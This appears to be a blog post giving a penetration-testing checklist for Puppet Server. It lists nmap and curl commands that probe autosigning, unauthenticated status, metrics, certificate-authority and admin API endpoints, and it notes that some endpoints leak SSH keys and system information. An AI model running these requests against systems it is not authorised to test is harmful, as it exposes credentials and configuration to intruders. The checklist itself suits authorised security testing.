Checklist
- Check the version Vulnerabilities (get version from API)
- Refer to this Tenable Article
- Check for Puppet Naive autosigning enabled --> should be disabled
- you can scan it by via "nmap -p8140 --script puppet-naivesigning -sV 10.10.10.10"
- nmap -sSVC --privileged -vvv --reason -p 8140 --script puppet-naivesigning --script-args puppet-naivesigning.csr=/path/to/csr.pem,puppet-naivesigning.env=production,puppet-naivesigning.node=DomainnameOfAppServerControlledByPuppet 10.10.10.10
- Look for unauthenticated API Access
- If API is accessible, run all commands to get Sensitive info
- Run this script Puppet_Pentest.py to Run most of the below commands at once.
#Check whether Puppet Server is running on a server or not https://10.10.10.10:8140/status/v1/simple #Puppet Service Information - Check Services info (Agents) curl -k -X GET https://PUPPET-SERVER:8140/status/v1/services #Retrieve information about services running on Puppet Server https://10.10.10.10:8140/status/v1/services?level=debug #V2 Version curl -k -X GET https://PUPPET-SERVER:8140/metrics/v2/version #list features curl -k -X GET https://PUPPET-SERVER:8443/features # Authorization curl -Lks https://10.10.10.10:8140/puppet curl -Lks https://10.10.10.10:8140/puppet-ca #Metrics Example curl -kLs https://10.10.10.10:8140/metrics/v2/read/java.util.logging:type=Logging/LoggerNames #list the available options curl -Lks https://10.10.10.10/metrics/v2/list curl -Lks https://10.10.10.10:8140/metrics/v2/read/java.lang:name=*,type=GarbageCollector/CollectionCount,CollectionTime curl -Lks https://10.10.10.10:8140/metrics/v2/read/<MBEAN NAMES>/<ATTRIBUTES>/<OPTIONAL INNER PATH FILTER>
Puppet V1 Certificate Request
Get more info from here
#Get CSR of a known Node
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_request/puppet
#Requests a TLS client certificate signing (CSR) from the Puppet CA service
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_request/:nodename?environment=:environment
#Retrieve all CSR's
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_requests/ignored
#Certificate Revocation List
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_revocation_list/ca
Puppet Admin API
#Retrieve a Ruby thread dump for each JRuby instance registered to the pool
https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool/thread-dump
curl -Lks https://10.10.10.10:8140/puppet-admin-api/v1/environment-cache
curl -Lks https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool
curl -Lks https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool/thread-dump
#Retrieve a specific version of a file at a given environment and path
https://10.10.10.10:8140//puppet/v3/static_file_content/modules/example/files/data.txt?code_id=urn:puppet:code-id:1:67eb71417fbd736a619c8b5f9bfc0056ea8c53ca;production&environment=production'
V1 Metrics #V1 API --> displays crazy lot of info along with ssh keys and system info #search for specific functions using regex "(.*):type=*" curl -vkLs https://10.10.10.10:8140/metrics/v1/mbeans -o output.html #list based on the required key curl -kLs https://10.10.1.0:8140/metrics/v1/mbeans/java.lang:type=Memory curl -X POST \ -H "Content-Type: application/json" \ -d '["puppetlabs.puppetdb.storage:name=replace-facts-time", "puppetlabs.puppetdb.storage:name=replace-catalog-time"]' \ http://10.10.10.10:8080/metrics/v1/mbeans keys: java.lang:type=MemoryPool java.lang:type=MemoryManager java.lang:type=Memory java.lang:type=GarbageCollector java.lang:type=ClassLoading java.lang:type=Compilation type=internalsslcontextfactory JMImplementation:type=MBeanServerDelegate java.nio:type=BufferPool jolokia:type=Config jolokia:type=Discovery jolokia:type=ServerHandler
V3 API
curl -Lks https://10.10.10.10:8140/puppet/v3/catalog/
When you got the cert, key and cacert from the server, run below
curl -si --cert --key --cacert -X GET https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool/thread-dump
for more into check this
Comments
Post a Comment